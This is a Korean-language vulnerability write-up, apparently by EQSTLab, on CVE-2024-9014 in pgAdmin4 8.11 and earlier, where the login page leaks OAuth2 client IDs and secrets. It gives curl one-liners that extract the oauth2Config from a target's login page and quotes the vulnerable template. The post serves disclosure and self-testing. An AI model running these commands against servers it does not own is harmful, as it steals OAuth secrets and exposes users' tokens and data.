
Pgadmin4 Sensitive Information Exposure
이 게시물은 EQSTLab에서 발행한 연구 기사입니다.
★ CVE-2024-9014 민감 정보 노출 PoC ★
CVE-2024-9014 : pgAdmin4 민감 정보 노출
설명: pgAdmin 8.11 및 이전 버전은 OAuth2 인증에 보안 결함이 있습니다. 이 취약점으로 인해 공격자가 클라이언트 ID와 시크릿을 획득하여 사용자 데이터에 무단 액세스할 수 있습니다.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 및 pgadmin4-8.12

이 지점에서 config.OAUTH2_CONFIG 변수는 OAUTH2_CLIENT_ID 및 OAUTH2_CLIENT_SECRET을 포함한 OAUTH2 구성 파일을 반환합니다.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

비밀 OAuth 매개변수를 식별하고 보호하는 것은 매우 중요합니다. **"client_id"**는 안전하게 공개될 수 있지만 **"client_secret"**의 공개는 상당한 위험을 수반합니다. client_secret이 유출되면 공격자는 애플리케이션의 ID와 신뢰를 악용하여 사용자의 "access_token" 및 개인 정보를 탈취할 수 있습니다.
이 저장소는 CVE-2024-9014에 대한 민감 정보를 노출하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
저희는 매월 CVE 및 악성코드 분석을 게시합니다. 관심이 있으시면 아래 링크를 통해 저희 발행물을 확인해 주세요. https://www.skshieldus.com/eng/business/insight.do